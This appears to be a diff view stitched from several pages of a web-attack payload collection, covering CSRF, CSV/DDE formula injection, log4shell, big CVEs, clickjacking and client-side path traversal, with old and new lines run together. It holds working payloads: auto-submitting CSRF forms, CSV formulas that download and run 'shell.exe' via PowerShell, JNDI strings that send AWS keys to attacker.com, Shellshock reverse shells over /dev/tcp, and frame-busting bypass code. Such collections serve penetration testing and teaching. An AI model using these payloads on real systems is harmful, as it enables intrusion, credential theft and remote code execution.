* [JSON POST - Simple Request](#json-post---simple-request)
* [JSON POST - Complex Request](#json-post---complex-request)
* [Bypass referer header validation check](#bypass-referer-header-validation)
* [Basic payload](#basic-payload)
* [With question mark payload](#with-question-mark-payload)
* [With semicolon payload](#with-semicolon-payload)
* [With subdomain payload](#with-subdomain-payload)
* [References](#references)
## Tools
* [XSRFProbe - The Prime Cross Site Request Forgery Audit and Exploitation Toolkit.](https://github.com/0xInfection/XSRFProbe)
## Methodology
![CSRF_cheatsheet](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/CSRF%20Injection/Images/CSRF-CheatSheet.png?raw=true)
## Payloads
When you are logged in to a certain site, you typically have a session. The identifier of that session is stored in a cookie in your browser, and is sent with every request to that site. Even if some other site triggers a request, the cookie is sent along with the request and the request is handled as if the logged in user performed it.
### HTML GET - Requiring User Interaction
```html
<a href="http://www.example.com/api/setusername?username=CSRFd">Click Me</a>
```
### HTML GET - No User Interaction
```html
<img src="http://www.example.com/api/setusername?username=CSRFd">
```
### HTML POST - Requiring User Interaction
```html
<form action="http://www.example.com/api/setusername" enctype="text/plain" method="POST">
<input name="username" type="hidden" value="CSRFd" />
<input type="submit" value="Submit Request" />
</form>
```
### HTML POST - AutoSubmit - No User Interaction
```html
<form id="autosubmit" action="http://www.example.com/api/setusername" enctype="text/plain" method="POST">
<input name="username" type="hidden" value="CSRFd" />
<input type="submit" value="Submit Request" />
</form>
<script>
document.getElementById("autosubmit").submit();
</script>
```
### JSON GET - Simple Request
```html
<script>
var xhr = new XMLHttpRequest();
xhr.open("GET", "http://www.example.com/api/currentuser");
xhr.send();
</script>
```
### JSON POST - Simple Request
```html
<script>
var xhr = new XMLHttpRequest();
xhr.open("POST", "http://www.example.com/api/setrole");
//application/json is not allowed in a simple request. text/plain is the default
xhr.setRequestHeader("Content-Type", "text/plain");
//You will probably want to also try one or both of these
//xhr.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
//xhr.setRequestHeader("Content-Type", "multipart/form-data");
xhr.send('{"role":admin}');
</script>
```
### JSON POST - Complex Request
```html
<script>
var xhr = new XMLHttpRequest();
xhr.open("POST", "http://www.example.com/api/setrole");
xhr.withCredentials = true;
xhr.setRequestHeader("Content-Type", "application/json;charset=UTF-8");
xhr.send('{"role":admin}');
</script>
```
## Bypass referer header validation
### Basic payload
```
1) Open https://attacker.com/csrf.html
2) Referer header is ..
Referer: https://attacker.com/csrf.html
```
### With question mark(`?`) payload
```
1) Open https://attacker.com/csrf.html?trusted.domain.com
2) Referer header is ..
Referer: https://attacker.com/csrf.html?trusted.domain.com
```
### With semicolon(`;`) payload
```
1) Open https://attacker.com/csrf.html;trusted.domain.com
2) Referer header is ..
Referer: https://attacker.com/csrf.html;trusted.domain.com
```
### With subdomain payload
```
1) Open https://trusted.domain.com.attacker.com/csrf.html
2) Referer headers is ..
Referer: https://trusted.domain.com.attacker.com/csrf.html
```
## References
- [Cross-Site Request Forgery Cheat Sheet - Alex Lauerman - April 3rd, 2016](https://trustfoundry.net/cross-site-request-forgery-cheat-sheet/)
- [Cross-Site Request Forgery (CSRF) - OWASP](https://www.owasp.org/index.php/Cross-Site_Request_Forgery_(CSRF))
- [Messenger.com CSRF that show you the steps when you check for CSRF - Jack Whitton](https://whitton.io/articles/messenger-site-wide-csrf/)
- [Paypal bug bounty: Updating the Paypal.me profile picture without consent (CSRF attack) - Florian Courtial](https://hethical.io/paypal-bug-bounty-updating-the-paypal-me-profile-picture-without-consent-csrf-attack/)
- [Hacking PayPal Accounts with one click (Patched) - Yasser Ali](http://yasserali.com/hacking-paypal-accounts-with-one-click/)
- [Add tweet to collection CSRF - vijay kumar](https://hackerone.com/reports/100820)
- [Facebookmarketingdevelopers.com: Proxies, CSRF Quandry and API Fun - phwd](http://philippeharewood.com/facebookmarketingdevelopers-com-proxies-csrf-quandry-and-api-fun/)
- [How i Hacked your Beats account ? Apple Bug Bounty - @aaditya_purani](https://aadityapurani.com/2016/07/20/how-i-hacked-your-beats-account-apple-bug-bounty/)
- [FORM POST JSON: JSON CSRF on POST Heartbeats API - Dr.Jones](https://hackerone.com/reports/245346)
- [Hacking Facebook accounts using CSRF in Oculus-Facebook integration](https://www.josipfranjkovic.com/blog/hacking-facebook-oculus-integration-csrf)
- [Cross site request forgery (CSRF) - Sjoerd Langkemper - Jan 9, 2019](http://www.sjoerdlangkemper.nl/2019/01/09/csrf/)
- [Cross-Site Request Forgery Attack - PwnFunction](https://www.youtube.com/watch?v=eWEgUcHPle0)
- [Wiping Out CSRF - Joe Rozner - Oct 17, 2017](https://medium.com/@jrozner/wiping-out-csrf-ded97ae7e83f)
- [Bypass referer check logic for CSRF](https://www.hahwul.com/2019/10/11/bypass-referer-check-logic-for-csrf/)

View File

@@ -1,48 +1,16 @@
# CSV Injection (Formula Injection) # CSV Injection
Many web applications allow the user to download content such as templates for invoices or user settings to a CSV file. Many users choose to open the CSV file in either Excel, Libre Office or Open Office. When a web application does not properly validate the contents of the CSV file, it could lead to contents of a cell or many cells being executed. > Many web applications allow the user to download content such as templates for invoices or user settings to a CSV file. Many users choose to open the CSV file in either Excel, Libre Office or Open Office. When a web application does not properly validate the contents of the CSV file, it could lead to contents of a cell or many cells being executed.
## Exploit ## Summary
Basic exploit with Dynamic Data Exchange * [Methodology](#methodology)
* [Google Sheets](#google-sheets)
* [References](#references)
```powershell ## Methodology
# pop a calc
DDE ("cmd";"/C calc";"!A0")A0
@SUM(1+1)*cmd|' /C calc'!A0
=2+5+cmd|' /C calc'!A0
# pop a notepad CSV Injection, also known as Formula Injection, is a security vulnerability that occurs when untrusted input is included in a CSV file. Any formula can be started with:
=cmd|' /C notepad'!'A1'
# powershell download and execute
=cmd|'/C powershell IEX(wget attacker_server/shell.exe)'!A0
# msf smb delivery with rundll32
=cmd|'/c rundll32.exe \\10.0.0.1\3\2\1.dll,0'!_xlbgnm.A1
# Prefix obfuscation and command chaining
=AAAA+BBBB-CCCC&"Hello"/12345&cmd|'/c calc.exe'!A
=cmd|'/c calc.exe'!A*cmd|'/c calc.exe'!A
+thespanishinquisition(cmd|'/c calc.exe'!A
= cmd|'/c calc.exe'!A
# Using rundll32 instead of cmd
=rundll32|'URL.dll,OpenURL calc.exe'!A
=rundll321234567890abcdefghijklmnopqrstuvwxyz|'URL.dll,OpenURL calc.exe'!A
# Using null characters to bypass dictionary filters. Since they are not spaces, they are ignored when executed.
= C m D | '/ c c al c . e x e ' ! A
```
Technical Details of the above payload:
- `cmd` is the name the server can respond to whenever a client is trying to access the server
- `/C` calc is the file name which in our case is the calc(i.e the calc.exe)
- `!A0` is the item name that specifies unit of data that a server can respond when the client is requesting the data
Any formula can be started with
```powershell ```powershell
= =
@@ -51,13 +19,74 @@ Any formula can be started with
@ @
``` ```
Basic exploits with **Dynamic Data Exchange**.
* Spawn a calc
```powershell
DDE ("cmd";"/C calc";"!A0")A0
@SUM(1+1)*cmd|' /C calc'!A0
=2+5+cmd|' /C calc'!A0
=cmd|' /C calc'!'A1'
```
* PowerShell download and execute
```powershell
=cmd|'/C powershell IEX(wget attacker_server/shell.exe)'!A0
```
* Prefix obfuscation and command chaining
```powershell
=AAAA+BBBB-CCCC&"Hello"/12345&cmd|'/c calc.exe'!A
=cmd|'/c calc.exe'!A*cmd|'/c calc.exe'!A
= cmd|'/c calc.exe'!A
```
* Using rundll32 instead of cmd
```powershell
=rundll32|'URL.dll,OpenURL calc.exe'!A
=rundll321234567890abcdefghijklmnopqrstuvwxyz|'URL.dll,OpenURL calc.exe'!A
```
* Using null characters to bypass dictionary filters. Since they are not spaces, they are ignored when executed.
```powershell
= C m D | '/ c c al c . e x e ' ! A
```
Technical details of the above payloads:
* `cmd` is the name the server can respond to whenever a client is trying to access the server
* `/C` calc is the file name which in our case is the calc(i.e the calc.exe)
* `!A0` is the item name that specifies unit of data that a server can respond when the client is requesting the data
### Google Sheets
Google Sheets allows some additionnal formulas that are able to fetch remote URLs:
* [IMPORTXML](https://support.google.com/docs/answer/3093342?hl=en)(url, xpath_query, locale)
* [IMPORTRANGE](https://support.google.com/docs/answer/3093340)(spreadsheet_url, range_string)
* [IMPORTHTML](https://support.google.com/docs/answer/3093339)(url, query, index)
* [IMPORTFEED](https://support.google.com/docs/answer/3093337)(url, [query], [headers], [num_items])
* [IMPORTDATA](https://support.google.com/docs/answer/3093335)(url)
So one can test blind formula injection or a potential for data exfiltration with:
```c
=IMPORTXML("http://burp.collaborator.net/csv", "//a/@href")
```
Note: an alert will warn the user a formula is trying to contact an external ressource and ask for authorization.
## References ## References
* [OWASP - CSV Excel Macro Injection](https://owasp.org/index.php/CSV_Excel_Macro_Injection) * [CSV Excel Macro Injection - Timo Goosen, Albinowax - Jun 21, 2022](https://owasp.org/www-community/attacks/CSV_Injection)
* [Google Bug Hunter University - CSV Excel formula injection](https://sites.google.com/site/bughunteruniversity/nonvuln/csv-excel-formula-injection) * [CSV Excel formula injection - Google Bug Hunter University - May 22, 2022](https://bughunters.google.com/learn/invalid-reports/google-products/4965108570390528/csv-formula-injection)
* [Comma Separated Vulnerabilities - James Kettle](https://www.contextis.com/resources/blog/comma-separated-vulnerabilities/) * [CSV Injection A Guide To Protecting CSV Files - Akansha Kesharwani - 30/11/2017](https://payatu.com/csv-injection-basic-to-exploit/)
* [CSV INJECTION: BASIC TO EXPLOIT!!!! - 30/11/2017 - Akansha Kesharwani](https://payatu.com/csv-injection-basic-to-exploit/) * [From CSV to Meterpreter - Adam Chester - November 05, 2015](https://blog.xpnsec.com/from-csv-to-meterpreter/)
* [From CSV to Meterpreter - 5th November 2015 - Adam Chester](https://blog.xpnsec.com/from-csv-to-meterpreter/) * [The Absurdly Underestimated Dangers of CSV Injection - George Mauer - 7 October, 2017](http://georgemauer.net/2017/10/07/csv-injection.html)
* [CSV Injection -> Meterpreter on Pornhub - @ZephrFish Andy](https://news.webamooz.com/wp-content/uploads/bot/offsecmag/147.pdf) * [Three New DDE Obfuscation Methods - ReversingLabs - September 24, 2018](https://blog.reversinglabs.com/blog/cvs-dde-exploits-and-obfuscation)
* [The Absurdly Underestimated Dangers of CSV Injection - 7 October, 2017 - George Mauer](http://georgemauer.net/2017/10/07/csv-injection.html) * [Your Excel Sheets Are Not Safe! Here's How to Beat CSV Injection - we45 - October 5, 2020](https://www.we45.com/post/your-excel-sheets-are-not-safe-heres-how-to-beat-csv-injection)
* [Three New DDE Obfuscation Methods](https://blog.reversinglabs.com/blog/cvs-dde-exploits-and-obfuscation)

View File

@@ -114,7 +114,7 @@ if len(host) > 0:
urllib.request.urlopen(host+pwnd(str(shellfile))) urllib.request.urlopen(host+pwnd(str(shellfile)))
shell = urllib.request.urlopen(host+exploit("'ls','-l','"+pathsave+"status.php'")) shell = urllib.request.urlopen(host+exploit("'ls','-l','"+pathsave+"status.php'"))
if shell.read().find(pathsave+"status.php") != -1: if shell.read().find(pathsave+"status.php") != -1:
print(BOLD+GREEN+"\nCreate File Successfull :) ["+pathsave+"status.php]\n"+ENDC) print(BOLD+GREEN+"\nCreate File Successful :) ["+pathsave+"status.php]\n"+ENDC)
else: else:
print(BOLD+RED+"\nNo Create File :/\n"+ENDC) print(BOLD+RED+"\nNo Create File :/\n"+ENDC)

View File

@@ -17,6 +17,7 @@
You can reproduce locally with: `docker run --name vulnerable-app -p 8080:8080 ghcr.io/christophetd/log4shell-vulnerable-app` using [christophetd/log4shell-vulnerable-app](https://github.com/christophetd/log4shell-vulnerable-app) or [leonjza/log4jpwn]( You can reproduce locally with: `docker run --name vulnerable-app -p 8080:8080 ghcr.io/christophetd/log4shell-vulnerable-app` using [christophetd/log4shell-vulnerable-app](https://github.com/christophetd/log4shell-vulnerable-app) or [leonjza/log4jpwn](
https://github.com/leonjza/log4jpwn) https://github.com/leonjza/log4jpwn)
```java ```java
public String index(@RequestHeader("X-Api-Version") String apiVersion) { public String index(@RequestHeader("X-Api-Version") String apiVersion) {
logger.info("Received a request for API version " + apiVersion); logger.info("Received a request for API version " + apiVersion);
@@ -45,14 +46,15 @@ bundle:config:db.password
## Scanning ## Scanning
* [log4j-scan](https://github.com/fullhunt/log4j-scan) * [log4j-scan](https://github.com/fullhunt/log4j-scan)
```powershell ```powershell
usage: log4j-scan.py [-h] [-u URL] [-l USEDLIST] [--request-type REQUEST_TYPE] [--headers-file HEADERS_FILE] [--run-all-tests] [--exclude-user-agent-fuzzing] usage: log4j-scan.py [-h] [-u URL] [-l USEDLIST] [--request-type REQUEST_TYPE] [--headers-file HEADERS_FILE] [--run-all-tests] [--exclude-user-agent-fuzzing]
[--wait-time WAIT_TIME] [--waf-bypass] [--dns-callback-provider DNS_CALLBACK_PROVIDER] [--custom-dns-callback-host CUSTOM_DNS_CALLBACK_HOST] [--wait-time WAIT_TIME] [--waf-bypass] [--dns-callback-provider DNS_CALLBACK_PROVIDER] [--custom-dns-callback-host CUSTOM_DNS_CALLBACK_HOST]
python3 log4j-scan.py -u http://127.0.0.1:8081 --run-all-test python3 log4j-scan.py -u http://127.0.0.1:8081 --run-all-test
python3 log4j-scan.py -u http://127.0.0.1:808 --waf-bypass python3 log4j-scan.py -u http://127.0.0.1:808 --waf-bypass
``` ```
* [Nuclei Template](https://raw.githubusercontent.com/projectdiscovery/nuclei-templates/master/cves/2021/CVE-2021-44228.yaml)
* [Nuclei Template](https://raw.githubusercontent.com/projectdiscovery/nuclei-templates/master/cves/2021/CVE-2021-44228.yaml)
## WAF Bypass ## WAF Bypass
@@ -80,10 +82,10 @@ ${jndi:ldap://${env:USER}.${env:USERNAME}.attacker.com:1389/
${jndi:ldap://${env:USER}.${env:USERNAME}.attacker.com:1389/${env:AWS_ACCESS_KEY_ID}/${env:AWS_SECRET_ACCESS_KEY} ${jndi:ldap://${env:USER}.${env:USERNAME}.attacker.com:1389/${env:AWS_ACCESS_KEY_ID}/${env:AWS_SECRET_ACCESS_KEY}
``` ```
### Remote Command Execution ### Remote Command Execution
* [rogue-jndi - @artsploit](https://github.com/artsploit/rogue-jndi) * [rogue-jndi - @artsploit](https://github.com/artsploit/rogue-jndi)
```ps1 ```ps1
java -jar target/RogueJndi-1.1.jar --command "touch /tmp/toto" --hostname "192.168.1.21" java -jar target/RogueJndi-1.1.jar --command "touch /tmp/toto" --hostname "192.168.1.21"
Mapping ldap://192.168.1.10:1389/ to artsploit.controllers.RemoteReference Mapping ldap://192.168.1.10:1389/ to artsploit.controllers.RemoteReference
@@ -95,8 +97,8 @@ ${jndi:ldap://${env:USER}.${env:USERNAME}.attacker.com:1389/${env:AWS_ACCESS_KEY
Mapping ldap://192.168.1.10:1389/o=websphere2 to artsploit.controllers.WebSphere2 Mapping ldap://192.168.1.10:1389/o=websphere2 to artsploit.controllers.WebSphere2
Mapping ldap://192.168.1.10:1389/o=websphere2,jar=* to artsploit.controllers.WebSphere2 Mapping ldap://192.168.1.10:1389/o=websphere2,jar=* to artsploit.controllers.WebSphere2
``` ```
* [JNDI-Exploit-Kit - @pimps](https://github.com/pimps/JNDI-Exploit-Kit)
* [JNDI-Exploit-Kit - @pimps](https://github.com/pimps/JNDI-Exploit-Kit)
## References ## References

View File

@@ -1,20 +1,43 @@
# Common Vulnerabilities and Exposures # Common Vulnerabilities and Exposures
## Big CVEs in the last 5 years. > A CVE (Common Vulnerabilities and Exposures) is a unique identifier assigned to a publicly known cybersecurity vulnerability. CVEs help standardize the naming and tracking of vulnerabilities, making it easier for organizations, security professionals, and software vendors to share information and manage risks associated with these vulnerabilities. Each CVE entry includes a brief description of the vulnerability, its potential impact, and details about affected software or systems.
## Summary
* [Tools](#tools)
* [Big CVEs in the last 15 years](#big-cves-in-the-last-15-years)
* [CVE-2017-0144 - EternalBlue](#cve-2017-0144---eternalblue)
* [CVE-2017-5638 - Apache Struts 2](#cve-2017-5638---apache-struts-2)
* [CVE-2018-7600 - Drupalgeddon 2](#cve-2018-7600---drupalgeddon-2)
* [CVE-2019-0708 - BlueKeep](#cve-2019-0708---bluekeep)
* [CVE-2019-19781 - Citrix ADC Netscaler](#cve-2019-19781---citrix-adc-netscaler)
* [CVE-2014-0160 - Heartbleed](#cve-2014-0160---heartbleed)
* [CVE-2014-6271 - Shellshock](#cve-2014-6271---shellshock)
* [References](#references)
## Tools
* [Trickest CVE Repository - Automated collection of CVEs and PoC's](https://github.com/trickest/cve)
* [Nuclei Templates - Community curated list of templates for the nuclei engine to find security vulnerabilities in applications](https://github.com/projectdiscovery/nuclei-templates)
* [Metasploit Framework](https://github.com/rapid7/metasploit-framework)
* [CVE Details - The ultimate security vulnerability datasource](https://www.cvedetails.com)
## Big CVEs in the last 15 years
### CVE-2017-0144 - EternalBlue ### CVE-2017-0144 - EternalBlue
EternalBlue exploits a vulnerability in Microsoft's implementation of the Server Message Block (SMB) protocol. The vulnerability exists because the SMB version 1 (SMBv1) server in various versions of Microsoft Windows mishandles specially crafted packets from remote attackers, allowing them to execute arbitrary code on the target computer. EternalBlue exploits a vulnerability in Microsoft's implementation of the Server Message Block (SMB) protocol. The vulnerability exists because the SMB version 1 (SMBv1) server in various versions of Microsoft Windows mishandles specially crafted packets from remote attackers, allowing them to execute arbitrary code on the target computer.
Afftected systems: Afftected systems:
- Windows Vista SP2
- Windows Server 2008 SP2 and R2 SP1 * Windows Vista SP2
- Windows 7 SP1 * Windows Server 2008 SP2 and R2 SP1
- Windows 8.1 * Windows 7 SP1
- Windows Server 2012 Gold and R2 * Windows 8.1
- Windows RT 8.1 * Windows Server 2012 Gold and R2
- Windows 10 Gold, 1511, and 1607 * Windows RT 8.1
- Windows Server 2016 * Windows 10 Gold, 1511, and 1607
* Windows Server 2016
### CVE-2017-5638 - Apache Struts 2 ### CVE-2017-5638 - Apache Struts 2
@@ -28,18 +51,17 @@ A remote code execution vulnerability exists within multiple subsystems of Drupa
A remote code execution vulnerability exists in Remote Desktop Services formerly known as Terminal Services when an unauthenticated attacker connects to the target system using RDP and sends specially crafted requests. This vulnerability is pre-authentication and requires no user interaction. An attacker who successfully exploited this vulnerability could execute arbitrary code on the target system. An attacker could then install programs; view, change, or delete data; or create new accounts with full user rights. A remote code execution vulnerability exists in Remote Desktop Services formerly known as Terminal Services when an unauthenticated attacker connects to the target system using RDP and sends specially crafted requests. This vulnerability is pre-authentication and requires no user interaction. An attacker who successfully exploited this vulnerability could execute arbitrary code on the target system. An attacker could then install programs; view, change, or delete data; or create new accounts with full user rights.
### CVE-2019-19781 - Citrix ADC Netscaler ### CVE-2019-19781 - Citrix ADC Netscaler
A remote code execution vulnerability in Citrix Application Delivery Controller (ADC) formerly known as NetScaler ADC and Citrix Gateway formerly known as NetScaler Gateway that, if exploited, could allow an unauthenticated attacker to perform arbitrary code execution. A remote code execution vulnerability in Citrix Application Delivery Controller (ADC) formerly known as NetScaler ADC and Citrix Gateway formerly known as NetScaler Gateway that, if exploited, could allow an unauthenticated attacker to perform arbitrary code execution.
Affected products: Affected products:
- Citrix ADC and Citrix Gateway version 13.0 all supported builds
- Citrix ADC and NetScaler Gateway version 12.1 all supported builds
- Citrix ADC and NetScaler Gateway version 12.0 all supported builds
- Citrix ADC and NetScaler Gateway version 11.1 all supported builds
- Citrix NetScaler ADC and NetScaler Gateway version 10.5 all supported builds
## Older, but not forgotten * Citrix ADC and Citrix Gateway version 13.0 all supported builds
* Citrix ADC and NetScaler Gateway version 12.1 all supported builds
* Citrix ADC and NetScaler Gateway version 12.0 all supported builds
* Citrix ADC and NetScaler Gateway version 11.1 all supported builds
* Citrix NetScaler ADC and NetScaler Gateway version 10.5 all supported builds
### CVE-2014-0160 - Heartbleed ### CVE-2014-0160 - Heartbleed
@@ -54,7 +76,7 @@ echo -e "HEAD /cgi-bin/status HTTP/1.1\r\nUser-Agent: () { :;}; /usr/bin/nc 10.0
curl --silent -k -H "User-Agent: () { :; }; /bin/bash -i >& /dev/tcp/10.0.0.2/4444 0>&1" "https://10.0.0.1/cgi-bin/admin.cgi" curl --silent -k -H "User-Agent: () { :; }; /bin/bash -i >& /dev/tcp/10.0.0.2/4444 0>&1" "https://10.0.0.1/cgi-bin/admin.cgi"
``` ```
## Thanks to ## References
* [Heartbleed - Official website](http://heartbleed.com) * [Heartbleed - Official website](http://heartbleed.com)
* [Shellshock - Wikipedia](https://en.wikipedia.org/wiki/Shellshock_(software_bug)) * [Shellshock - Wikipedia](https://en.wikipedia.org/wiki/Shellshock_(software_bug))

256
Clickjacking/README.md Normal file
View File

@@ -0,0 +1,256 @@
# Clickjacking
> Clickjacking is a type of web security vulnerability where a malicious website tricks a user into clicking on something different from what the user perceives, potentially causing the user to perform unintended actions without their knowledge or consent. Users are tricked into performing all sorts of unintended actions as such as typing in the password, clicking on Delete my account' button, liking a post, deleting a post, commenting on a blog. In other words all the actions that a normal user can do on a legitimate website can be done using clickjacking.
## Summary
* [Tools](#tools)
* [Methodology](#methodology)
* [UI Redressing](#ui-redressing)
* [Invisible Frames](#invisible-frames)
* [Button/Form Hijacking](#buttonform-hijacking)
* [Execution Methods](#execution-methods)
* [Preventive Measures](#preventive-measures)
* [Implement X-Frame-Options Header](#implement-x-frame-options-header)
* [Content Security Policy (CSP)](#content-security-policy-csp)
* [Disabling JavaScript](#disabling-javascript)
* [OnBeforeUnload Event](#onbeforeunload-event)
* [XSS Filter](#xss-filter)
* [IE8 XSS filter](#ie8-xss-filter)
* [Chrome 4.0 XSSAuditor filter](#chrome-40-xssauditor-filter)
* [Challenge](#challenge)
* [Labs](#labs)
* [References](#references)
## Tools
* [portswigger/burp](https://portswigger.net/burp)
* [zaproxy/zaproxy](https://github.com/zaproxy/zaproxy)
* [machine1337/clickjack](https://github.com/machine1337/clickjack)
## Methodology
### UI Redressing
UI Redressing is a Clickjacking technique where an attacker overlays a transparent UI element on top of a legitimate website or application.
The transparent UI element contains malicious content or actions that are visually hidden from the user. By manipulating the transparency and positioning of elements,
the attacker can trick the user into interacting with the hidden content, believing they are interacting with the visible interface.
* **How UI Redressing Works:**
* Overlaying Transparent Element: The attacker creates a transparent HTML element (usually a `<div>`) that covers the entire visible area of a legitimate website. This element is made transparent using CSS properties like `opacity: 0;`.
* Positioning and Layering: By setting the CSS properties such as `position: absolute; top: 0; left: 0;`, the transparent element is positioned to cover the entire viewport. Since it's transparent, the user doesn't see it.
* Misleading User Interaction: The attacker places deceptive elements within the transparent container, such as fake buttons, links, or forms. These elements perform actions when clicked, but the user is unaware of their presence due to the overlaying transparent UI element.
* User Interaction: When the user interacts with the visible interface, they are unknowingly interacting with the hidden elements due to the transparent overlay. This interaction can lead to unintended actions or unauthorized operations.
```html
<div style="opacity: 0; position: absolute; top: 0; left: 0; height: 100%; width: 100%;">
<a href="malicious-link">Click me</a>
</div>
```
### Invisible Frames
Invisible Frames is a Clickjacking technique where attackers use hidden iframes to trick users into interacting with content from another website unknowingly.
These iframes are made invisible by setting their dimensions to zero (height: 0; width: 0;) and removing their borders (border: none;).
The content inside these invisible frames can be malicious, such as phishing forms, malware downloads, or any other harmful actions.
* **How Invisible Frames Work:**
* Hidden IFrame Creation: The attacker includes an `<iframe>` element in a webpage, setting its dimensions to zero and removing its border, making it invisible to the user.
```html
<iframe src="malicious-site" style="opacity: 0; height: 0; width: 0; border: none;"></iframe>
```
* Loading Malicious Content: The src attribute of the iframe points to a malicious website or resource controlled by the attacker. This content is loaded silently without the user's knowledge because the iframe is invisible.
* User Interaction: The attacker overlays enticing elements on top of the invisible iframe, making it seem like the user is interacting with the visible interface. For instance, the attacker might position a transparent button over the invisible iframe. When the user clicks the button, they are essentially clicking on the hidden content within the iframe.
* Unintended Actions: Since the user is unaware of the invisible iframe, their interactions can lead to unintended actions, such as submitting forms, clicking on malicious links, or even performing financial transactions without their consent.
### Button/Form Hijacking
Button/Form Hijacking is a Clickjacking technique where attackers trick users into interacting with invisible or hidden buttons/forms, leading to unintended actions on a legitimate website. By overlaying deceptive elements on top of visible buttons or forms, attackers can manipulate user interactions to perform malicious actions without the user's knowledge.
* **How Button/Form Hijacking Works:**
* Visible Interface: The attacker presents a visible button or form to the user, encouraging them to click or interact with it.
```html
<button onclick="submitForm()">Click me</button>
```
* Invisible Overlay: The attacker overlays this visible button or form with an invisible or transparent element that contains a malicious action, such as submitting a hidden form.
```html
<form action="malicious-site" method="POST" id="hidden-form" style="display: none;">
<!-- Hidden form fields -->
</form>
```
* Deceptive Interaction: When the user clicks the visible button, they are unknowingly interacting with the hidden form due to the invisible overlay. The form is submitted, potentially causing unauthorized actions or data leakage.
```html
<button onclick="submitForm()">Click me</button>
<form action="legitimate-site" method="POST" id="hidden-form">
<!-- Hidden form fields -->
</form>
<script>
function submitForm() {
document.getElementById('hidden-form').submit();
}
</script>
```
### Execution Methods
* Creating Hidden Form: The attacker creates a hidden form containing malicious input fields, targeting a vulnerable action on the victim's website. This form remains invisible to the user.
```html
<form action="malicious-site" method="POST" id="hidden-form" style="display: none;">
<input type="hidden" name="username" value="attacker">
<input type="hidden" name="action" value="transfer-funds">
</form>
```
* Overlaying Visible Element: The attacker overlays a visible element (button or form) on their malicious page, encouraging users to interact with it. When the user clicks the visible element, they unknowingly trigger the hidden form's submission.
```js
function submitForm() {
document.getElementById('hidden-form').submit();
}
```
## Preventive Measures
### Implement X-Frame-Options Header
Implement the X-Frame-Options header with the DENY or SAMEORIGIN directive to prevent your website from being embedded within an iframe without your consent.
```apache
Header always append X-Frame-Options SAMEORIGIN
```
### Content Security Policy (CSP)
Use CSP to control the sources from which content can be loaded on your website, including scripts, styles, and frames.
Define a strong CSP policy to prevent unauthorized framing and loading of external resources.
Example in HTML meta tag:
```html
<meta http-equiv="Content-Security-Policy" content="frame-ancestors 'self';">
```
### Disabling JavaScript
* Since these type of client side protections relies on JavaScript frame busting code, if the victim has JavaScript disabled or it is possible for an attacker to disable JavaScript code, the web page will not have any protection mechanism against clickjacking.
* There are three deactivation techniques that can be used with frames:
* Restricted frames with Internet Explorer: Starting from IE6, a frame can have the "security" attribute that, if it is set to the value "restricted", ensures that JavaScript code, ActiveX controls, and re-directs to other sites do not work in the frame.
```html
<iframe src="http://target site" security="restricted"></iframe>
```
* Sandbox attribute: with HTML5 there is a new attribute called “sandbox”. It enables a set of restrictions on content loaded into the iframe. At this moment this attribute is only compatible with Chrome and Safari.
```html
<iframe src="http://target site" sandbox></iframe>
```
## OnBeforeUnload Event
* The `onBeforeUnload` event could be used to evade frame busting code. This event is called when the frame busting code wants to destroy the iframe by loading the URL in the whole web page and not only in the iframe. The handler function returns a string that is prompted to the user asking confirm if he wants to leave the page. When this string is displayed to the user is likely to cancel the navigation, defeating target's frame busting attempt.
* The attacker can use this attack by registering an unload event on the top page using the following example code:
```html
<h1>www.fictitious.site</h1>
<script>
window.onbeforeunload = function()
{
return " Do you want to leave fictitious.site?";
}
</script>
<iframe src="http://target site">
```
* The previous technique requires the user interaction but, the same result, can be achieved without prompting the user. To do this the attacker have to automatically cancel the incoming navigation request in an onBeforeUnload event handler by repeatedly submitting (for example every millisecond) a navigation request to a web page that responds with a _"HTTP/1.1 204 No Content"_ header.
204 page:
```php
<?php
header("HTTP/1.1 204 No Content");
?>
```
Attacker's Page:
```js
<script>
var prevent_bust = 0;
window.onbeforeunload = function() {
prevent_bust++;
};
setInterval(
function() {
if (prevent_bust > 0) {
prevent_bust -= 2;
window.top.location = "http://attacker.site/204.php";
}
}, 1);
</script>
<iframe src="http://target site">
```
## XSS Filter
### IE8 XSS filter
This filter has visibility into all parameters of each request and response flowing through the web browser and it compares them to a set of regular expressions in order to look for reflected XSS attempts. When the filter identifies a possible XSS attacks; it disables all inline scripts within the page, including frame busting scripts (the same thing could be done with external scripts). For this reason an attacker could induce a false positive by inserting the beginning of the frame busting script into a request's parameters.
```html
<script>
if ( top != self )
{
top.location=self.location;
}
</script>
```
Attacker View:
```html
<iframe src=”http://target site/?param=<script>if”>
```
### Chrome 4.0 XSSAuditor filter
It has a little different behaviour compared to IE8 XSS filter, in fact with this filter an attacker could deactivate a “script” by passing its code in a request parameter. This enables the framing page to specifically target a single snippet containing the frame busting code, leaving all the other codes intact.
Attacker View:
```html
<iframe src=”http://target site/?param=if(top+!%3D+self)+%7B+top.location%3Dself.location%3B+%7D”>
```
## Challenge
Inspect the following code:
```html
<div style="position: absolute; opacity: 0;">
<iframe src="https://legitimate-site.com/login" width="500" height="500"></iframe>
</div>
<button onclick="document.getElementsByTagName('iframe')[0].contentWindow.location='malicious-site.com';">Click me</button>
```
Determine the Clickjacking vulnerability within this code snippet. Identify how the hidden iframe is being used to exploit the user's actions when they click the button, leading them to a malicious website.
## Labs
* [OWASP WebGoat](https://owasp.org/www-project-webgoat/)
* [OWASP Client Side Clickjacking Test](https://owasp.org/www-project-web-security-testing-guide/v41/4-Web_Application_Security_Testing/11-Client_Side_Testing/09-Testing_for_Clickjacking)
## References
* [Clickjacker.io - Saurabh Banawar - May 10, 2020](https://clickjacker.io)
* [Clickjacking - Gustav Rydstedt - April 28, 2020](https://owasp.org/www-community/attacks/Clickjacking)
* [Synopsys Clickjacking - BlackDuck - November 29, 2019](https://www.synopsys.com/glossary/what-is-clickjacking.html#B)
* [Web-Security Clickjacking - PortSwigger - October 12, 2019](https://portswigger.net/web-security/clickjacking)

View File

@@ -0,0 +1,72 @@
# Client Side Path Traversal
> Client-Side Path Traversal (CSPT), sometimes also referred to as "On-site Request Forgery," is a vulnerability that can be exploited as a tool for CSRF or XSS attacks.
> It takes advantage of the client side's ability to make requests using fetch to a URL, where multiple "../" characters can be injected. After normalization, these characters redirect the request to a different URL, potentially leading to security breaches.
> Since every request is initiated from within the frontend of the application, the browser automatically includes cookies and other authentication mechanisms, making them available for exploitation in these attacks.
## Summary
* [Tools](#tools)
* [Methodology](#methodology)
* [CSPT to XSS](#cspt-to-xss)
